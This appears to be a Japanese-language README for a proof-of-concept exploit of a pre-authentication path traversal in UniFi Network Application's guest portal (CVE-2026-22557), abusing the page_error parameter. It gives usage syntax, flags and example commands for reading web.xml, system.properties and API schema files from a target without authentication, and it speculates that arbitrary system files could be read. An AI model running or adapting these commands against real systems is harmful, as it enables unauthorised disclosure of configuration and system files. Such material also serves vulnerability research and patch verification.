
PoC for UniFi Network Application Pre-Auth Path Traversal (CVE-2026-22557)
UniFi Network Application のゲストポータル(/guest/s/{site}/login)における事前認証パストラバーサル。page_error クエリパラメータが検証なしにリソースローダーへ渡されるため、認証されていない攻撃者がウェブアプリからファイル(例:WEB-INF/web.xml)を読み取ることができます。
ゲストポータルページがカスタマイズされている場合、リソースローダーはコンテキストルート外の基盤システム上の任意のファイルにアクセスできる生の FileInputStream ブランチにフォールバックするようです。これはまだ確認しておらず、時間があればさらに調査します。
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| フラグ | 説明 | デフォルト |
|---|
target | ターゲットURL(例:https://host:8843) | (必須) |
-f | 読み取る相対パス | ../../web.xml |
-g | ゲストポータルパス | /guest/s/default/login |
-o | レスポンスをファイルに書き込む | (標準出力) |
-x | プロキシURL | (なし) |

# デフォルト -- WEB-INF/web.xml を読み取る(HTTPSゲストポータル)
python CVE-2026-22557.py https://192.168.1.1:8843
# HTTPゲストポータル
python CVE-2026-22557.py http://192.168.1.1:8880
# クラスパスリソースを読み取る
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# APIスキーマを読み取り、ファイルに保存
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# 異なるサイト名
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# プロキシ経由
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080